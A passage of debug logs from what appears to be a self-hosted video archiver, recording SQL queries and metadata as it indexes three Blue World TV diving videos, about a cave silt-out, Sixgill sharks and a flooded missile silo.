Tease/Open\n0:29 Introduction\n3:29 On the boat\n6:35 The Dive Begins\n12:28 We get Lost\n14:23 The restriction!\n17:32 Another confusing intersection\n19:30 On our way out\n23:54 Credits", "duration" => 1460, "filename" => "/downloads/rory/BlueWorldTV/2025-05-03 Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD/Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD [0-k5a8ca1dk].mp4", "id" => "0-k5a8ca1dk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=0-k5a8ca1dk", "playlist_index" => 15, "timestamp" => 1746280812, "title" => "Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD", "upload_date" => "20250503"} 19:02:22.042 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1820.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:02:22.043 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1821.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:22.045 [debug] QUERY OK source="media_items" db=1.0ms idle=1822.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-03 14:00:12Z], 34] 19:02:22.046 [debug] QUERY OK source="media_items" db=1.1ms idle=1101.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd explore the long and winding passageway of Skiles Passage in Twin Caves. This is one of the caves located on Merritt's Mill Pond in Marianna, Florida. They have to overcome being unfamiliar with the passage, some confusing cave lines, and a tight, silty restriction. This restriction is impossible to pass without sidemount gear and without silting out the cave. It's a cave diving adventure!\n\nWARNING!! CAVE DIVING IS DANGEROUS! DO NOT ATTEMPT TO DIVE CAVES WITHOUT PROPER EQUIPMENT AND TRAINING!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Tease/Open\n0:29 Introduction\n3:29 On the boat\n6:35 The Dive Begins\n12:28 We get Lost\n14:23 The restriction!\n17:32 Another confusing intersection\n19:30 On our way out\n23:54 Credits", "Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD", "7c1b003d-87c0-4e6e-81a8-3154ddf82e4e", "0-k5a8ca1dk", false, "https://www.youtube.com/watch?v=0-k5a8ca1dk", 34, [], 1460, false, 15, "/downloads/rory/BlueWorldTV/2025-05-03 Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD/Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD [0-k5a8ca1dk].mp4", false, false, 98, ~U[2025-05-03 14:00:12Z], ~U[2026-06-02 23:02:22Z], ~U[2026-06-02 23:02:22Z], "Jonathan and Todd explore the long and winding passageway of Skiles Passage in Twin Caves. This is one of the caves located on Merritt's Mill Pond in Marianna, Florida. They have to overcome being unfamiliar with the passage, some confusing cave lines, and a tight, silty restriction. This restriction is impossible to pass without sidemount gear and without silting out the cave. It's a cave diving adventure!\n\nWARNING!! CAVE DIVING IS DANGEROUS! DO NOT ATTEMPT TO DIVE CAVES WITHOUT PROPER EQUIPMENT AND TRAINING!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Tease/Open\n0:29 Introduction\n3:29 On the boat\n6:35 The Dive Begins\n12:28 We get Lost\n14:23 The restriction!\n17:32 Another confusing intersection\n19:30 On our way out\n23:54 Credits", "Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD", "0-k5a8ca1dk", "https://www.youtube.com/watch?v=0-k5a8ca1dk", 34, 1460, false, "/downloads/rory/BlueWorldTV/2025-05-03 Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD/Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD [0-k5a8ca1dk].mp4", false, ~U[2025-05-03 14:00:12Z]] 19:02:22.047 [debug] QUERY OK source="sources" db=0.1ms idle=100.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:22.047 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:02:22.047 [debug] QUERY OK source="media_items" db=0.1ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119043] 19:02:22.047 [debug] Current batch of media processed. Will check again in 1000ms 19:02:23.048 [debug] Current batch of media processed. Will check again in 1000ms 19:02:24.049 [debug] Current batch of media processed. Will check again in 1000ms 19:02:25.051 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Todd venture to Puget Sound in the Pacific Northwest on a quest to film the giant Pacific Octopus, but instead find a bunch of curious Sixgill sharks!\n\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #sharks #rebreather \n\nChapters:\n0:00 Intro\n0:25 Hood Canal\n4:54 Our first shark!\n6:17 Redondo Beach\n8:26 More sharks!\n12:28 Summary and end", "duration" => 819, "filename" => "/downloads/rory/BlueWorldTV/2025-03-01 SIXGILL SHARKS swim out of the Abyss!/SIXGILL SHARKS swim out of the Abyss! [felN-1PL66Y].mp4", "id" => "felN-1PL66Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=felN-1PL66Y", "playlist_index" => 16, "timestamp" => 1740841254, "title" => "SIXGILL SHARKS swim out of the Abyss!", "upload_date" => "20250301"} 19:02:25.052 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1830.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:02:25.054 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1831.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:25.056 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=1833.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-01 15:00:54Z], 34] 19:02:25.057 [debug] QUERY OK source="media_items" db=1.0ms idle=1108.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd venture to Puget Sound in the Pacific Northwest on a quest to film the giant Pacific Octopus, but instead find a bunch of curious Sixgill sharks!\n\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #sharks #rebreather \n\nChapters:\n0:00 Intro\n0:25 Hood Canal\n4:54 Our first shark!\n6:17 Redondo Beach\n8:26 More sharks!\n12:28 Summary and end", "SIXGILL SHARKS swim out of the Abyss!", "ca5d3598-1866-4e9f-a840-91b1de238b9f", "felN-1PL66Y", false, "https://www.youtube.com/watch?v=felN-1PL66Y", 34, [], 819, false, 16, "/downloads/rory/BlueWorldTV/2025-03-01 SIXGILL SHARKS swim out of the Abyss!/SIXGILL SHARKS swim out of the Abyss! [felN-1PL66Y].mp4", false, false, 98, ~U[2025-03-01 15:00:54Z], ~U[2026-06-02 23:02:25Z], ~U[2026-06-02 23:02:25Z], "Jonathan and Todd venture to Puget Sound in the Pacific Northwest on a quest to film the giant Pacific Octopus, but instead find a bunch of curious Sixgill sharks!\n\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #sharks #rebreather \n\nChapters:\n0:00 Intro\n0:25 Hood Canal\n4:54 Our first shark!\n6:17 Redondo Beach\n8:26 More sharks!\n12:28 Summary and end", "SIXGILL SHARKS swim out of the Abyss!", "felN-1PL66Y", "https://www.youtube.com/watch?v=felN-1PL66Y", 34, 819, false, "/downloads/rory/BlueWorldTV/2025-03-01 SIXGILL SHARKS swim out of the Abyss!/SIXGILL SHARKS swim out of the Abyss! [felN-1PL66Y].mp4", false, ~U[2025-03-01 15:00:54Z]] 19:02:25.058 [debug] QUERY OK source="sources" db=0.4ms idle=107.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:25.058 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:02:25.059 [debug] QUERY OK source="media_items" db=0.2ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119045] 19:02:25.059 [debug] Current batch of media processed. Will check again in 1000ms 19:02:25.251 [info] {"source":"oban","duration":1988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:26.060 [debug] Current batch of media processed. Will check again in 1000ms 19:02:27.061 [debug] Current batch of media processed. Will check again in 1000ms 19:02:28.062 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In the newest Blue World adventure, Jonathan and Todd join dive guide Sean Holland with Undersea Adventures in Kennewick, Washington to dive an abandoned cold war Titan 1 missile silo that has filled with water! It's spooky!! And if you want to do this dive yourself, you do not need to be cave certified. Check it out:\n\nhttps://www.underseaadventures.net/module/class/214573/missile-silo-dives\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #rebreather #wreckdiving \n\nChapters:\n0:00 Intro", "duration" => 643, "filename" => "/downloads/rory/BlueWorldTV/2025-02-08 Diving an Abandoned MISSILE SILO!/Diving an Abandoned MISSILE SILO! [d3dLTP1RNQQ].mp4", "id" => "d3dLTP1RNQQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=d3dLTP1RNQQ", "playlist_index" => 17, "timestamp" => 1739026847, "title" => "Diving an Abandoned MISSILE SILO!", "upload_date" => "20250208"} 19:02:28.063 [debug] QUERY OK source="sources" db=0.3ms idle=1841.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:02:28.064 [debug] QUERY OK source="sources" db=0.2ms idle=1842.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:28.065 [debug] QUERY OK source="media_items" db=1.5ms idle=1111.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-08 15:00:47Z], 34] 19:02:28.068 [debug] QUERY OK source="media_items" db=1.6ms idle=844.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In the newest Blue World adventure, Jonathan and Todd join dive guide Sean Holland with Undersea Adventures in Kennewick, Washington to dive an abandoned cold war Titan 1 missile silo that has filled with water! It's spooky!! And if you want to do this dive yourself, you do not need to be cave certified. Check it out:\n\nhttps://www.underseaadventures.net/module/class/214573/missile-silo-dives\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #rebreather #wreckdiving \n\nChapters:\n0:00 Intro", "Diving an Abandoned MISSILE SILO!", "c1cbb023-6267-4642-b4ce-22d113375dd4", "d3dLTP1RNQQ", false, "https://www.youtube.com/watch?v=d3dLTP1RNQQ", 34, [], 643, false, 17, "/downloads/rory/BlueWorldTV/2025-02-08 Diving an Abandoned MISSILE SILO!/Diving an Abandoned MISSILE SILO! [d3dLTP1RNQQ].mp4", false, false, 98, ~U[2025-02-08 15:00:47Z], ~U[2026-06-02 23:02:28Z], ~U[2026-06-02 23:02:28Z], "In the newest Blue World adventure, Jonathan and Todd join dive guide Sean Holland with Undersea Adventures in Kennewick, Washington to dive an abandoned cold war Titan 1 missile silo that has filled with water! It's spooky!! And if you want to do this dive yourself, you do not need to be cave certified. Check it out:\n\nhttps://www.underseaadventures.net/module/class/214573/missile-silo-dives\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #rebreather #wreckdiving \n\nChapters:\n0:00 Intro", "Diving an Abandoned 